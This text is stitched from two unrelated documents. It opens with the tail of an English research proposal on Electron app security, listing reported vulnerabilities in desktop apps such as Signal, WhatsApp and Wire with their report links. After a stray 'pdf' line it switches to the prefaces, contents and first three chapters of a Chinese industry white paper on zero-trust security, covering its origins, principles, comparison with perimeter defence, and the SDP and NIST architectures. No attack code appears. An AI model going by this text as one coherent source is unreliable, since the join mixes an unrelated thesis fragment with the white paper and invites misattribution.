https://ivan.barreraoro.com.ar/signal-desktop- html-tag-injection-variant-2/ (archived) Signal Desktop 1 Using React’s dangerouslySetInnerHTML for quote replies https://thehackerblog.com/i-too-like-to-live- dangerously-accidentally-finding-rce-in-signal- desktop-via-html-injection-in-quoted-replies/ A.2. Exposé 61 Application Groups Cause Report URL Shiba 1, 3 insecure Markdown rendering https://github.com/rhysd/Shiba/issues/42 Typora 1, 3 rendering HTML in Mermaid graphs https://github.com/typora/typora- issues/issues/3124 WhatsApp Desktop 1 javascript: URLs not filtered correctly https://www.perimeterx.com/tech- blog/2020/whatsapp-fs-read-vuln-disclosure/ Wire Desktop 4 insecure logger exposed in preload script https://blog.doyensec.com/2019/04/03/subverting- electron-apps-via-insecure-preload.html WordPress.com for Desktop 2 window.open() redirected to shell.openExternal() https://hackerone.com/reports/301458 A.2. Exposé 62 practices like not disabling security features or only loading remote content through HTTPS. The evaluation of these statistics will then give an insight into how security-conscious Electron app devel- opers are and may lead to recommendations for better defaults for example. Research Tasks Investigate known web vulnerabilites and attacks in the context of Electron apps. Collect Electron apps from the Electron apps list [1] and GitHub. (for closed-source apps:) Extract the (potentially obfuscated) source code for analysis. Develop a program for automatically scanning Electron apps, potentially extending an existing one aimed at checking individual apps3, and run that on the collected apps. Evaluate the results of the statistics. 3Doyensec LLC: “Electronegativity”. https://github.com/doyensec/electronegativity
pdf
序 推荐序 随着远程办公等应用的爆发,零信任安全理念得到迅速发展。中国产业互联网发展联盟零信任产业标准工 作组集结业界优势机构,基于实战经验和研究积累,研制和推出本白皮书,希望能为零信任产业发展带来新动 能。——中国产业互联网发展联盟秘书长 雷晓斌 本白皮书基于产业实践,给出了详细的技术实现和应用案例,为安全从业者提供了很好的借鉴。随着零信 任理念在国内的快速普及和落地,相关产品和解决方案要更加重视合规要求,这是安全管理的需要也是能被市 场认可的基础。——公安部第三研究所(国家网络与信息系统安全产品质量监督检验中心)副主任 顾健 零信任实战白皮书的发布,期待能为企业安全管理者、技术研发和运维等人员提供有价值的参考。腾讯基 于超大型企业网络安全建设实战和诸多客户环境部署经验,贡献了架构方案、技术实现和大量应用场景案例。 基于实战,面向未来。——腾讯企业IT部副总经理 黄李明 网络安全是没有硝烟的战场,攻防无异于一场场战斗。而现实的战争模式一直在进化,从一战的堑壕战到 二战的立体化运动战,跟不上进化节奏的一方将会一败涂地,如同二战初期,贯彻运动战思想的德军横扫还抱 着堑壕战思想的法军。类比一下,传统的划分区域的安全防护模式就如同堑壕战,想依赖几条防线来挡住各种 层出不穷的攻击形式已经力不从心了,而基于零信任原则的安全防御则相当于立体化运动战、机动防御,这样 才能在越来越复杂的网络攻击形势下建立起稳固的安全阵地。—— 腾讯游戏CROS助理总经理 刘栖铜、陈冬 零信任产业标准工作组成立后,短时间就推出白皮书这一工作成果。我相信,白皮书能够促进产业界各方 交流,指导相关产品研发。我期待,对企业客户,白皮书能够普及零信任安全理念,加快零信任应用实践,从 而在整体上提升企业安全等级。——绿盟科技副总裁 李晨 网络安全攻防的发展是拉锯式的,双方的成败都是在此消彼长之间,因此不存在“绝对的安全”,也不存在 “无法防御的威胁”,网络安全从业者在不断的实践中找寻解决方案,希望能够为有价值的目标提供持续动态的 防护。——天融信高级副总裁 杨斌 零 信 任 实 战 白 皮 书 序 零信任产业标准工作组 编制组自序 零信任产业标准工作组(以下称“工作组”)作为国内率先提出将零信任产业化与标准化相结合发展的专业 组织(截止本白皮书发布时间,成员单位已包含国内22家零信任产学研用的权威机构),工作组的使命和目标 是:以标准化为纽带促进零信任产业规模化发展,为用户提供标准、可信赖的零信任产品和服务。 《零信任实战白皮书》作为工作组第一项正式发布的研究成果,以国内产业界的工程实践和依托零信任架 构开展的真实攻防实战经验为基础,全面且详细地介绍了零信任理念、零信任与传统边界安全理念的关系、零 信任参考架构、零信任实现方案、零信任应用场景、零信任落地指引、行业客户案例、探索和展望等方面的内 容,供所有对零信任感兴趣的读者交流和参考。 由于零信任理念在业界处于快速普及和发展的阶段,本书内容仅代表编制组专家们的理解和实践经验。大 部分编制组专家平时专注于技术研究和产品研发,并非专业的“写手”,专家们牺牲了大量个人休息时间对白皮 书内容进行研制和讨论,希望尽可能准确和完整的呈现基于实战的零信任理念全貌。即便如此,由于时间仓 促,编制过程中也难免存在理解不准确或者文字表达谬误之处,欢迎读者们多提宝贵意见。 零 信 任 实 战 白 皮 书 序 零信任产业标准工作组 本白皮书版权属于零信任产业标准工作组,并受法律保护。转载、摘编或利用任何其他方式使用白皮书文 字或观点的,均应注明“来源:零信任产业标准工作组”。违反以上声明者,工作组将保留追究其相关法律责任 的权利。 编制单位 腾讯科技(深圳)有限公司、完美世界控股集团有限公司、北京天融信网络安全技术有限公司、公安部第 三研究所、绿盟科技集团股份有限公司、北京蔷薇灵动科技有限公司、中国移动通信集团设计院有限公司、任 子行网络技术股份有限公司、上海观安信息技术股份有限公司、中孚信息股份有限公司、深圳市网安计算机安 全检测技术有限公司、国家计算机网络应急技术处理协调中心、北京芯盾时代科技有限公司、腾讯云计算(北 京)有限责任公司。 蔡东赟、何艺、龙凡、刘治平、陈妍、刘弘利、李小鹏、杜雪涛、张晨、赵蓓、王先高、谢江、王卫峰、 洪跃腾、程建明、赵芸伟、李凯、黄超、刘海涛、翟尤、曹静、孙少波、谢仪頔。 编制人员 版权声明 零 信 任 实 战 白 皮 书 版 权 声 明 零信任产业标准工作组 零信任概述 1.1 产生背景 1.2 零信任原则 1.3 标准化进展 零信任与传统边界安全理念的比较 2.1 传统边界安全理念 2.2 零信任理念 2.3 零信任与传统安全产品/设备的关系 零信任参考架构 3.1 SDP架构概述 3.2 NIST零信任架构概述 3.3 通用参考架构 零信任实现方案 4.1 用户对资源访问模式实现 4.2 服务之间调用模式实现 零信任应用场景 5.1 办公安全 5.2 数据中心内部访问 5.3 大数据 5.4 物联网 5.5 多云安全访问和混合云服务器运维 5.6 私有机房对外访问入口的安全防护 零信任落地指引 6.1 实施概述 6.2 全新建设实施指引 6.3 已有网络架构升级实施指引 目录 01 05 13 17 38 52 零 信 任 实 战 白 皮 书 目 录 零信任产业标准工作组 行业客户案例 7.1 某全球综合性互联网公司案例(腾讯) 7.2 某大型多分支游戏公司案例(完美世界) 7.3 某大型互联网金融企业数据中心案例(蔷薇灵动) 7.4 某政务应用案例(天融信) 7.5 某集团多级分支机构案例(天融信) 7.6 某大型央企数据中心内攻防演练中的应用案例(蔷薇灵动) 7.7 某政府单位案例(绿盟) 7.8 某保险金融集团案例(腾讯) 7.9 某公安实战平台案例(任子行) 7.10 BeyondCorp案例(谷歌) 零信任探索和展望 8.1 合规性探索讨论 8.2 5G应用场景探索讨论 8.3 展望 附录 76 81 56 零 信 任 实 战 白 皮 书 目 录 零信任产业标准工作组 01 零信任概述 1.1 产生背景 对于资源的访问保护,传统方式是划分安全区域,不同的安全区域有不同的安全要求。在安全区域之间就 形成了网络边界,在网络边界处部署边界安全设备,包括防火墙、IPS、防毒墙、WAF等,对来自边界外部的 各种攻击进行防范,以此构建企业网络安全体系,这种传统方式可称为边界安全理念。在边界安全理念中网络 位置决定了信任程度,在安全区域边界外的用户默认是不可信的(不安全的),没有较多访问权限,边界外用 户想要接入边界内的网络需要通过防火墙、VPN等安全机制;安全区域内的用户默认都是可信的(安全的), 对边界内用户的操作不再做过多的行为监测,但是这就在每个安全区域内部存在过度信任(认为是安全的,给 予的权限过大)的问题。同时由于边界安全设备部署在网络边界上,缺少来自终端侧、资源侧的数据,且相互 之间缺乏联动,对威胁的安全分析是不够全面的,因此内部威胁检测和防护能力不足、安全分析覆盖度不够全 面成为了边界安全理念固有的软肋。甚至很多企业只是非常粗粒度的划分了企业内网和外网(互联网),这种 风险就更为明显。 另外,随着云计算、物联网以及移动办公等新技术新应用的兴起,企业的业务架构和网络环境也随之发生 了重大的变化,这给传统边界安全理念带来了新的挑战。比如云计算技术的普及带来了物理安全边界模糊的挑 战,远程办公、多方协同办公等成为常态带来了访问需求复杂性变高和内部资源暴露面扩大的风险,各种设备 (BYOD、合作伙伴设备)、各种人员接入带来了对设备、人员的管理难度和不可控安全因素增加的风险,高 级威胁攻击(钓鱼攻击、水坑攻击、0day漏洞利用等)带来了边界安全防护机制被突破的风险,这些都对传统 的边界安全理念和防护手段,如部署边界安全设备、仅简单认证用户身份、静态和粗粒度的访问控制等提出了 挑战,亟需有更好的安全防护理念和解决思路。 传统边界安全理念先天能力存在不足,新技术新应用又带来了全新的安全挑战,在这样的背景下,零信任 的最早雏形源于2004年成立的耶利哥论坛(Jericho Forum ),其成立的使命正是为了定义无边界趋势下的网 络安全问题并寻求解决方案,提出要限制基于网络位置的隐式信任;美国国防信息系统局(DISA)为了解决 GIG(全球信息栅格,是美军信息化作战规划中极其重要且宏大的基础设施)中,如何实时、动态地对网络进 行规划和重构的问题,发起了BlackCore项目,将基于边界的安全模型转换为基于单个事物安全性的模型,并 提出了SDP(Software Defined Perimeter)的概念,该概念后来被云安全联盟(Cloud Security Alliance)采 纳。2010年,由著名研究机构Forrester的首席分析师John Kindervag最早提出了零信任(Zero Trust)的概念, 并由Google在BeyondCorp项目中率先得到了应用,很好的解决了边界安全理念难以应对的安全问题。 零信任代表了新一代的网络安全防护理念,并非指某种单一的安全技术或产品,其目标是为了降低资源访 问过程中的安全风险,防止在未经授权情况下的资源访问,其关键是打破信任和网络位置的默认绑定关系。 在零信任理念下,网络位置不再决定访问权限,在访问被允许之前,所有访问主体都需要经过身份认证和 授权。身份认证不再仅仅针对用户,还将对终端设备、应用软件等多种身份进行多维度、关联性的识别和认 1.2 零信任原则 零 信 任 概 述 零 信 任 实 战 白 皮 书 零信任产业标准工作组 2014年,国际云安全联盟CSA的SDP工作组发布了《SDP Specification 1.0》(SDP标准规范1.0),描 述了SDP协议架构、工作流、协议实现、SDP应用等内容。2019年,由中国云安全联盟(C-CSA)秘书处组织 CSA大中华区SDP工作组专家进行了中文版本翻译。 2019年7月,腾讯联合CNCERT、中国移动设计院、奇虎科技、天融信等产学研机构,发起CCSA《零信 任安全技术参考框架》行业标准立项,率先推进国内的零信任标准研制工作,该标准主要解决零信任网络安全 技术的标准化、规范化等问题,帮助用户基于标准化的方式来评估其安全态势,重构网络与安全应用。 2019年9月,在瑞士日内瓦举办的ITU-T(国际电信联盟通信标准化组织) SG17安全研究组全体会议上,由 腾讯、CNCERT、中国移动设计院主导的“服务访问过程持续保护参考框架”国际标准成功立项。该框架提供有 1.3 标准化进展 证,并且在访问过程中可以根据需要多次发起身份认证。授权决策不再仅仅基于网络位置、用户角色或属性等 传统静态访问控制模型,而是通过持续的安全监测和信任评估,进行动态、细粒度的授权。安全监测和信任评 估结论是基于尽可能多的数据源计算出来的。 我们总结了零信任理念的基本假设、基本原则如下: 1)零信任理念的基本假设 a) 内部威胁不可避免; b) 从空间上,资源访问的过程中涉及到的所有对象(用户、终端设备、应用、网络、资源等)默认都不信 任,其安全不再由网络位置决定; c) 从时间上,每个对象的安全性是动态变化的(非全时段不变的)。 2)零信任的基本原则 a)任何访问主体(人/设备/应用等),在访问被允许之前,都必须要经过身份认证和授权,避免过度的 信任; b)访问主体对资源的访问权限是动态的(非静止不变的); c)分配访问权限时应遵循最小权限原则; d)尽可能减少资源非必要的网络暴露,以减少攻击面; e)尽可能确保所有的访问主体、资源、通信链路处于最安全状态; f)尽可能多的和及时的获取可能影响授权的所有信息,并根据这些信息进行持续的信任评估和安全响应。 零信任在所有需要对资源访问进行安全防护的场景都可以使用,但是否采用,应根据企业可接受的安全风 险水平和投入综合考虑决定。 零 信 任 实 战 白 皮 书 零 信 任 概 述 零信任产业标准工作组 关持续身份安全和访问控制管理的标准化指导,成为国际标准组织中首个零信任安全相关的技术标准,对推动 零信任安全技术在全球范围规模商用的进程,加快零信任技术和服务快速发展与普及具有重要深远的意义。 2020年3月,“服务访问过程持续保护参考框架”国际标准草案正式提交ITU-T,也在SG17安全研究组全体会议 中得到普遍认可并获继续推进。 2019年9月,美国国家标准技术研究所(NIST)发布了《零信任架构》草案(《NIST.SP.800-207-draft -Zero Trust Architecture》);2020年2月,NIST对《零信任架构》的草案进行了修订;8月11日,标准正式 发布。该标准介绍了零信任的基本概念、体系架构的逻辑组件、部署场景、零信任与与现有联邦指南的可能交 互等内容。 2020年,奇安信公司牵头在全国信息安全技术标准化委员(TC260)申请的《信息安全技术 零信任参考 体系架构》标准在WG4工作组立项,该标准主要致力于提出可信的零信任架构,从概念模型开始,确定零信任 原则和技术框架,包括零信任架构的体系、组件和基本工作流程等内容。 可以看出,2019年可谓是零信任标准化研制工作爆发的元年,这也侧面说明了零信任理念经过十余年的发 展,相关技术和产品已逐步成熟。可以预见,未来将会有更多零信任相关的标准出台,这对我国零信任产业的 规模化发展打下了良好基础。 零 信 任 概 述 零 信 任 实 战 白 皮 书 零信任产业标准工作组 02 零信任与传统边界 安全理念的比较 1)概述 传统的基于网络边界的安全防护模型,其基本思路是先根据业务和信息敏感程度定义要保护的对象,然后 确认对象的安全级别,对于级别相同的对象认为属于同一安全区域。在划分安全区域后,在不同安全级别的安 全区域之间就形成了网络边界。由于安全级别不同,通过相关的技术来进行安全隔离,实现对各个安全区域的 安全防护。 这种安全防护模型通过防火墙、IPS等边界安全产品/设备对企业网络边界进行防护,将攻击者尽可能挡在 非信任网络边界的外面,并假定边界内是默认可信任的,对边界内的操作基本不做过多限制。 2)优点 边界安全理念在早期网络环境中是有效的,因为当时的网络规模不大,业务也不复杂,通过边界隔离可以 很好的阻断蠕虫类攻击传播和一些未授权的访问,总的来说具有以下优点: a)简单可靠:边界模型结构清晰,通过明确所需保护资源的边界来隔离风险,当策略正确实施后,可以 保持长时间的稳定运行; b)阻断效果彻底:多数边界安全理念的隔离设备可以基于网络层的阻断,可以彻底阻断请求数据进入区 域内; c)业务侵入低:业务不用做过多改造,边界隔离系统和检测系统可以透明部署。 3)缺点 随着时代的发展,网络节点数量爆发式增长,各类新的应用和业务场景也不断涌现,对网络规则的管理成 本已经越来越高,而攻击已经发展出各式各样的攻击模式出来,可以轻松越过安全边界,如下图: 2.1 传统边界安全理念 图-边界安全示意图 零 信 任 实 战 白 皮 书 零 信 任 与 传 统 边 界 安 全 理 念 的 比 较 零信任产业标准工作组 1)概述 由于传统安全模型不能解决更高强度的攻击场景,在对抗过程中零信任安全理念被逐渐提出和实践,零信 任通过先假定人、终端、资源等都是不可信的,通过建立人到终端到资源的信任链,并动态实时校验信任链, 来实现对资源安全可信请求,阻断攻击数据。 在攻击过程中,攻击者可以通过邮件等方式将病毒、蠕虫或后门,通过正常的业务通道经防火墙类隔离系 统,将攻击载荷投递到信任网络中,或是以物理潜入等方式绕过边界隔离系统的控制,直接在内部发起进攻。 传统的边界安全理念强在边界处的防护,对已经进入边界内信任网络中的请求,或有规则信任和允许的请 求不再进行阻断,因此攻击者一旦进入到内部后攻击难度大幅降低,因此传统边界安全模型主要的缺点有: a)同域横向攻击难以防护:由于基于网络物理位置进行信任和非信任网络的划分,安全设备通常无法覆 盖到同域环境内的系统,也自然无法进行防护; b)合法权限的复用难以防护:攻击者通常可以复用合法权限(如口令、访问票据等),边界安全理念系 统难以区分是正常访问,还是攻击数据; c)安全检测盲点:边界防护模型通常不介入到业务中,因此难以还原所有的轨迹,不能有效关联分析, 导致安全检测容易出现盲点。 d)边界容易绕过:难以抵御高级威胁攻击,防护机制容易被绕过。 e)对云计算等新技术新应用的适应性不强。 2.2 零信任理念 图-边界安全理念风险示意图 零 信 任 实 战 白 皮 书 零 信 任 与 传 统 边 界 安 全 理 念 的 比 较 零信任产业标准工作组 在零信任架构下,传统的边界(网络位置)已经不再重要,即便你在信任网络中同样也是处于“不可信”状 态,每一次对资源的请求,都会要经过信任关系的校验和建立,如上示意图。 2)优点 零信任安全架构提供了有别于传统安全的增强安全机制,在新的架构模型下,区分恶意和非恶意的请求, 是来自人、终端、资源三者关系是否正确,是否可信,以及零信任强调的“从不信任、持续校验”(Never Trust,Always Verify)理念,零信任给安全带来的优点有以下方面: a)安全可信度更高:因为信任链条的关系是环环相扣,如果中间状态发生任何改变,会更容易被发现和 检测; b)动态防护能力更强:每一次对资源的请求,都是一次重新校验的过程,安全是动态的,而检测也是动 态持续发生,这样如果产生了异常,可以迅速感知并阻断; c)除此外还有诸如全链路加密,分析能力增强、访问集中管控、资产管理方便等优点。 3)缺点 安全没有万能的解决方案,用一个新的方案解决安全风险时,一定也会带来新的风险,因此也需要正视零 信任的优缺点,选择适合的方案,零信任架构有几个缺点: a)单点风险:零信任是强管控架构,对资源的控制都集中在网关上,因此一旦单点故障会导致整个业务 中断; b)权限集中风险:零信任架构将很多风险收敛集中起来,降低了管理成本但集中化管理如果失控也会带 更大风险; c)复杂化风险:零信任架构覆盖面很广,从用户到终端到应用资源,架构涉及多个组件,导致复杂化程 度加大,增加了故障判断和修复成本; d)投入风险:零信任架构建设周期比一般架构体系要更长,如果不能持续投入容易功亏一篑,导致投资 浪费。 图-零信任架构安全信任链构建示意 零 信 任 实 战 白 皮 书 零 信 任 与 传 统 边 界 安 全 理 念 的 比 较 零 信 任 实 战 白 皮 书 零 信 任 与 传 统 边 界 安 全 理 念 的 比 较 零信任产业标准工作组 4) 企业网络防护从传统边界安全理念到零信任理念演进的原因分析 a)纯内网安全管理的增强需求 传统的基于网络边界的安全防护模型,适用于网络环境比较固定,物理边界比较清晰的情况(网络安全边 界即物理边界),能够一定程度上把安全威胁限制在要保护的安全区域之外,安全区域划分的越小,边界保护 的精度越高。 传统的基于网络边界的安全防护模型,好比为要守一座城,先在城的四周建立城墙,把城内与城外隔离开 来,再修建城门,作为关卡检查所有进城人员,保障外来的人员都是可信任的再放行进城。这种安全模型的缺 点很明显,边界总会被绕过,传统方式通过架设防火墙堵住入口,然后建设自己的内网,入口处做好认证和检 查。然后把企业的终端设备接入到内网,接入设备就作为一个可信的设备,同时设备分配一个比较大网络权限 (一般企业规划是给一个业务类型的设备一个大网络段,不可能规划太多的网络段,比如办公网大概就划分几 个大的段,服务器区的网络规划也同理),接入后的设备可以在内网访问大量业务服务器、业务资源或者各类 运维资源入口。企业内网资源针对单个终端,将大面积地暴露。虽然有很多边界安全防护设备,但是还是抵挡 不住员工被攻击,比如使用被社工入侵内网的终端设备,这个终端设备天然被内网信任,一旦终端设备被攻陷 可作为跳板,有一个大网段的企业内部服务器资源可以任意访问。被攻陷的终端设备运行未知的恶意代码,进 行内网传播、盘点服务器资源、入侵破坏服务器或者窃取数据,终端设备具备对应的网络权限,安全管理人员 也不知道终端内是用什么应用在访问什么具体的目标资源,总之这个传统可信的设备拥有一个大网段的网络访 问权限,如果终端上的高级威胁代码无法及时被发现并有效阻止,那么恶意攻击人员就可以在内网畅通无阻。 这种风险的本质就是利用了合法设备-合法网络权限的弱点,传统的安全认为接入认证后的设备都是可信的, 并且网络划分对单点设备的访问授权过大,边界设备沦陷后导致大片内网资源暴露给攻击入侵者。 零信任方案在传统职场内部提供了一种增强的安全机制:在传统的网络基础建设上,屏蔽大部分非关键职 位的终端直接访问内网业务服务器的通道,所有的终端都必入通过零信任系统的认证授权,受控保护,然后通 如果将两者放到一起,就会发现,优缺点是有显著区别的,比如传统安全模型结构简单,零信任架构复 杂,可是安全防护能力更强,如下表: 传统边界安全理念 1.简单可靠 2.规则清晰 3.阻断更彻底 4.业务侵入低 1.安全可靠性更高 2.攻击难度大 3.持续校验,从不信任 1.无法防护内部攻击 2.边界容易绕过 3.防护深度不够 4.新技术新应用适应性不强 1.单点风险 2.集中化风险 3.复杂化风险 4.凭证风险 5.投入风险 零信任理念 优点 缺点 零 信 任 实 战 白 皮 书 零 信 任 与 传 统 边 界 安 全 理 念 的 比 较 零 信 任 实 战 白 皮 书 零 信 任 与 传 统 边 界 安 全 理 念 的 比 较 零信任产业标准工作组 过链路加密的零信任安全网关才可以访问到具体的业务系统。只有符合访问控制策略的可信用户身份、可信设 备、可信应用等,才可以访问授权范围内具体业务系统。通过可信应用白名单,可以大大减少供应链攻击、未 知恶意代码执行渗透扫描等威胁。持续关注用户身份、设备安全状态、可信应用的安全状态等关键对象的安全 变化,如果一个对象变化则要立刻阻断访问。此外,还可以通过提供基础的终端安全保护、合规监测、系统加 固等能力,保障终端设备长期处于一个符合基线的安全状态;为访问链路提供加密通道,在内网也可以避免临 近沦陷机器的嗅探攻击。 b)企业办公网络建设规划管理的环境变化导致 当前企业生产网络的环境正在发生变化,办公网络环境也在快速变化。中小企业因为发展阶段,处于成本 考虑,一般不建设自己和管理自己的IDC机房,使用云服务提供商的资源。企业的业务系统上云后,内部管理IT 类的内部系统也随之上云了。大型企业面临的大量办事处、分支机构、跨境并购公司等情况,办公网络安全管 理、并购公司机房资源的统一的安全访问管理都存在安全挑战。 集团企业对分支机构的保护管理,传统的方式是对分支机构网络“画个圈”,圈里面提供网络和安全基础建 设和管理服务,然后用专线串联起来组成一个大的企业网络,进行统一的网络安全管理。具体如架设一条专 线,打通分支机构和集团公司/云之间的网络通道,通过先在分支机构部署网络设备,然后部署安全防护设备如 终端准入设备、防火墙、流量检测设备等,部署后要投入人力进行网络规划、策略维护、安全运营等。这种方 式对于大部分系统上云的企业来说意义不大,投入却很大。零信任理念下,针对分支机构,在云的业务服务入 口架设零信任安全网关,分支机构只需简单提供一个有宽带的办公网络,无需划分和维护特别复杂的网络策 略,简单的认证进本地办公网络,然后通过ISP提供便宜的公网带宽,做链路保护接入到安全网关,鉴权合法后 再到具体的云上业务系统。基于用户身份、设备安全、可信应用、目标业务系统的细粒度访问控制策略,不管 是建立访问连接还是访问过程中,一旦某个关键对象出现安全问题则进行访问阻断,以减少风险。如果发现终 端设备出现高危病毒木马,对于访问过程中已经建立的访问连接,则会被零信任安全网关阻断,大大降低了因 终端安全问题导致的服务器入侵、破坏或窃取数据的风险。 针对集团并购公司、办事处等分支职场网络的场景,落地零信任架构并不是一定要把分支职场网络归入集 团的大网,并做统一的规划管理。例如并购公司的分支职场如果已经有传统的安全投入和团队投入,且分支职 场的员工不多,拉一条专线接入到集团统一的网络规划池,需要同时在分支网络提供网络防护等安全设备,以 及面临进行安全设备的运营维护等工作投入,因此合并到集团网络统一管理的成本会很高。而实际上仅需要在 终端设备上安装零信任终端代理软件,实现终端的安全监测和防护,通过密码技术在公网上建立安全的通信链 路连接到集团统一的零信任安全网关,访问集团的业务系统。这样可以快速、经济的适应分支职场网络建设和 访问集团业务系统的需求。 零 信 任 实 战 白 皮 书 零 信 任 实 战 白 皮 书 零 信 任 与 传 统 边 界 安 全 理 念 的 比 较 零信任产业标准工作组 2.3 零信任与传统安全产品/设备的关系 零信任是一种安全理念,本质上和传统安全产品/设备并不是同一个维度的概念,但是由于零信任架构落地 的时候,会和传统安全产品/设备产生协作,甚至可能存在替代某些传统安全产品/设备的情况。本章简要介绍 与零信任关系紧密的几种安全产品/设备的关系,便于更方便和深刻的理解零信任的落地。 1)零信任与防火墙的关系 防火墙提供了划分网络边界、隔离阻断边界之间的流量的一种方式,通过防火墙可以提供简单、快速有效 的隔离能力。防火墙和零信任在实践中可以互相补充,常见的场景是在实施了零信任的环境中,通过防火墙限 制除了零信任网关端口外的一切访问,最小化非信任网络到信任网络的权限,将攻击面降到最低。 2)零信任与IAM的关系 零信任强调基于身份的信任链条,即该身份在可信终端,该身份拥有权限,才可对资源进行请求。传统 IAM系统可以协助零信任解决身份(账号)唯一标识,身份属性,身份全生命周期管理等支持。通过IAM将身份 信息状态(身份吊销离职、身份过期、身份异常等)传递给零信任系统后,零信任系统可以通过IAM系统的身 份信息(如部门属性)来分配默认权限,而通过IAM系统对身份的唯一标识,可有利于零信任系统确认用户可 信,通过对唯一标识对用户身份建立起与终端、资源的信任关系,并在发现身份风险时实施针对关键用户相关 的访问连接进行阻断等控制。 3)零信任与SOC/SIEM/Snort等产品的关系 零信任重要理念之一是持续安全校验。校验对象包含了用户是否安全可信,终端环境是否安全可信,访问 资源是否安全可信等维度。一些深层次的安全分析往往需要大量数据支撑和较多计算资源的投入,集中在零信 任的策略引擎中会带来引擎负载过大、影响引擎稳定性等风险。结合SOC系统可以增强零信任的安全检测能力 和复杂安全事件分析能力,通过接入包含零信任系统在内的各种数据,可以实现从终端接入,到什么用户对资 源发起请求,对用户行为进行全过程的综合异常检测能力。SOC系统检测出对安全事件又可以联动零信任系 统,对来自风险源的访问进行阻断或是降权处理。 a)SOC系统输出到零信任系统:行业的SOC系统大部分收集并且存放和记录着各种各样的安全系统的监 测结果,同时部分企业的SOC系统具有大量基于企业自身特有的威胁检测规则,可以输出关键身份高危信息、 设备高危信息、恶意应用信息等关键对象的信息。SOC系统告警经过简单过滤后,输出身份、设备、恶意应用 特征等给到零信任系统,零信任系统可以查询关键对象涉及到的连接或者终端,可以快速终止在进行中的有恶 意风险来源的业务系统访问连接,降低整个企业核心业务访问的风险。 b)零信任系统输出到SOC系统:访问请求涉及到用户、设备、应用、访问连接等访问日志,可以提供给 SOC系统做异常行为监测分析。 同理其他安全检测分析平台也可以联动,如Snort、SIEM、IDS类可以输出关键对象风险并和零信任系统的 访问控制组件联动。 零 信 任 实 战 白 皮 书 零 信 任 与 传 统 边 界 安 全 理 念 的 比 较 零信任产业标准工作组 4)零信任与OTP的关系 零信任中强调用户的可信,当物理现实中的用户投射到网络中时,如何证明你是你本人,则需要对该身份 进行鉴别。鉴别的方式有多种多样,传统的静态口令鉴别由于容易被盗取、爆破,安全性较差,无法真正有效 证明用户身份。因此一次一密(OTP)结合PIN码,或是其他鉴权因子可以实现更加可信的身份鉴别,提高零 信任系统中用户可信这一层面的安全性。 5)零信任与虚拟专用网络(VPN)关系 VPN提供了一种在公共网络上建立专用数据通道的技术。包含两层含义:一是“虚拟”,即并不存在一个端 到端的物理通信链路,而是在公共网络上建立一个逻辑上的专用网络;二是“专用”,强调私有性和安全性。 VPN是对企业内网的延伸,通过VPN可帮助企业分支机构、远程用户、外部合作伙伴等与企业内部网络建立安 全的网络连接,实现安全保密通信。 隧道技术是实现VPN的关键技术,通过对通信数据的封装和解封装,实现数据的透明、安全传输。根据隧 道所在的网络层次,可分为二层、三层、应用层隧道协议。常见的二层隧道协议包括PPTP、L2TP,三层隧道 协议包括GRE、IPsec,应用层隧道协议SSL VPN等。 虽然零信任和VPN是不同维度的概念,但在安全接入和数据加密通信等方面有相似性。Gartner预测到 2023年将有60%的VPN被零信任取代。下表是零信任和VPN的比较。 相比较优点 1. 架构复杂,实施有一定难度 2. 技术发展期,厂商尚不多 1.技术成熟 2.技术选型可选择面较宽 相比较缺点 零信任 VPN 1、覆盖的安全能力更全面,理念更先进,拥有更强的身 份认证和细粒度访问控制能力 2、适用场景更多,不局限于网络远程访问 3、可快速扩容,对网络链路质量要求没有VPN严格 1、安全性不足 无法解决合法用户的内部安全威胁;用户证书被盗或用户身份验证强度 不足等安全问题;仅一次用户鉴权,没有持续安全监测 2、稳定性不足 当使用弱网络(如小运营商,丢包率高),海外网络(跨洋线路,延迟 大)时,频繁断线重连,访问体验差 3、灵活性不足 大部分企业的VPN产品是第三方采购,采购和部署周期长,容量,带宽 也受限于先前的规划,难以在突发需要的时候进行快速的弹性扩容。 零 信 任 实 战 白 皮 书 零 信 任 与 传 统 边 界 安 全 理 念 的 比 较 零 信 任 实 战 白 皮 书 零 信 任 与 传 统 边 界 安 全 理 念 的 比 较 零信任产业标准工作组 03 零信任参考架构 用什么样的架构来落地零信任理念,目前尚没有统一的定义,但业界已有多个组织正在为给出零信任架构 设计和定义而努力。目前业界比较熟知的架构有SDP软件定义网络和NIST提出的零信任体系架构。企业可以通 过多种架构方式引入零信任理念,不同的应用场景可以使用不同的架构,每种架构的侧重点有所不同。企业可 以根据自身需求,使用一种或多种架构作为落地零信任理念的主要驱动元素。 SDP软件定义边界是国际云安全联盟(CSA)于2013年提出的新一代网络安全架构,CSA《SDP标准规范 1.0》给出的SDP的定义是:“SDP旨在使应用程序所有者能够在需要时部署安全边界,以便将服务与不安全的 网络隔离开来,SDP将物理设备替换为在应用程序所有者控制下运行的逻辑组件并仅在设备验证和身份验证后 才允许访问企业应用基础架构。”--“应用程序/应用/服务”在本文语境下均指资源。 SDP架构主要包括三大组件:SDP控制器(SDP Controler)、SDP连接发起主机(IH,Initial host)、 SDP连接接受主机(AH,Accept host)。SDP控制器确定哪些IH、AH主机可以相互通信,还可以将信息中继 到外部认证服务,例如认证,地理位置和/或身份服务器。IH和AH会直接连接到SDP控制器,通过控制器与安 全控制信道的交互来管理。该结构使得控制层能够与数据层保持分离,以便实现完全可扩展的安全系统。此 外,所有组件都可以是冗余的,用于扩容或提高稳定运行时间。 NIST《零信任架构》标准中给出的定义:零信任架构提供了一系列的概念、思想和组件关系,用于消除对 信息系统和服务进行精确的访问决策过程中的不确定性。 3.1 SDP架构概述 3.2 NIST零信任架构概述 图-SDP架构 零 信 任 实 战 白 皮 书 零 信 任 参 考 架 构 零 信 任 实 战 白 皮 书 零 信 任 参 考 架 构 零信任产业标准工作组 用户或计算机在访问企业资源时,需要通过策略决策点(PDP)和相应的策略执行点(PEP)授予访问权限。 NIST给出的架构图更接近ISO国际标准中经典的访问管理(Access management-AM)架构,将访问控制分为 PDP和PEP,但是只在上面抽象的架构图中难以看出零信任理念的特性,故NIST在标准的文字描述中,提出了 零信任架构使得PDP/PEP更接近要保护的资源,并显式地验证和授权企业的所有用户、设备、应用程序和工作 流。零信任架构下,资源访问控制策略不再仅基于网络位置,而是基于风险,并通过建设相关系统确保策略得 到正确和一致性的执行。 对比看SDP的架构和NIST提出的架构,可以发现,SDP的控制器功能上类似于NIST的PDP,SDP的AH功 能上类似于NIST的PEP。综合SDP、NIST的架构图,以及实践经验,我们认为目前业界对零信任架构的理解正 在趋于一致,总结的通用零信任架构如下: 图-NIST零信任架构 图-NIST零信任架构核心组件 